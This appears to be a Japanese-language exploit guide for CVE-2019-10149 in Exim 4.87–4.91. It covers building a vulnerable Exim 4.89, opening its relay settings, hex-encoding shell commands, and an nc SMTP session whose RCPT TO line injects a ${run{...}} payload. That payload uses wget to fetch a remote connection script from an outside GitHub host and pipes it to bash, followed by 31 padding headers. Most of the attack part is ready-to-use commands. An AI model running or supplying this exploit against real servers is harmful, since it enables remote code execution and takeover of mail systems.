CVE-2019-10149 - Exim 4.87 < 4.91
脆弱なバージョンのEximのインストールとその悪用の手順
Linux Ubuntu 16.04、Exim 4.89でテスト済み
Exim installation
Eximバージョン4.89をダウンロードして展開
展開したフォルダに移動
必要な設定ファイルをコピーして修正
-
sed -e 's,^EXIM_USER. * $,EXIM_USER=exim,' Local/Makefile src/EDITME > Local/Makefile
-
cp exim_monitor/EDITME Local/eximon.conf
eximユーザーとグループを作成
依存関係をインストール
- sudo apt-get update
- sudo apt-get install -y make build-essential libpcre3-dev libdb-dev libxt-dev libxaw7-dev
Exim 4.89をインストール
リレーを許可するために/usr/exim/configureを編集(7日間待たずに悪用できるようにする)
- sudo sed -iz 's/domainlist relay_to_domains =/domainlist relay_to_domains = * /' /usr/exim/configure
- sudo sed -i '/hostlist relay_from_hosts = localhost/c\hostlist relay_from_hosts = 0.0.0.0' /usr/exim/configure
- sudo sed -i '/require verify = recipient/c#require verify = recipient' /usr/exim/configure
eximユーザーとしてeximを実行
- sudo -H -u exim /usr/exim/bin/exim -bd -d-receive
Crafting the exploit
シェルコマンドを16進数に変換します。例:
例の表:
- \t-c\ = -c
- \t= space
- x20 = space
- x7C = |
- x2F = /
- x3A = :
- x2D = -
- x3E = >
- x26 = &
- x22 = "
- x2E = .
Exploit usage
まずncを使用してサーバーに接続します。
接続したらHELOを送信します。
- helo localhost
- (Answer: 250 exim Hello localhost [192.168.0.168])
次に、送信者アドレスを空に設定します。
- mail from:<>
- (Answer: 250 OK)
次に、以前作成したペイロードを埋め込んだ受信者アドレスを設定します。省略記号の部分に目的のコマンドを挿入します: rcpt to:${run{...}}@localhost。
- rcpt to:<${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fraw\x2Egithubusercontent\x2Ecom\x2Fdarsigovrustam\x2FCVE\x2D2019\x2D10149\x2Fmaster\x2FRemoteConnection\x2Esh\t-O\t-\t\x7C\tbash\x22}}@localhost>
- (Answer: 250 Accepted)
最後に、DATAを入力した後、31行のヘッダー、空行、そしてピリオドを入力します。
- DATA
- Received: 1
- Received: 2
- Received: 3
- Received: 4
- Received: 5
- Received: 6
- Received: 7
- Received: 8
- Received: 9
- Received: 10
- Received: 11
- Received: 12
- Received: 13
- Received: 14
- Received: 15
- Received: 16
- Received: 17
- Received: 18
- Received: 19
- Received: 20
- Received: 21
- Received: 22
- Received: 23
- Received: 24
- Received: 25
- Received: 26
- Received: 27
- Received: 28
- Received: 29
- Received: 30
- Received: 31
- .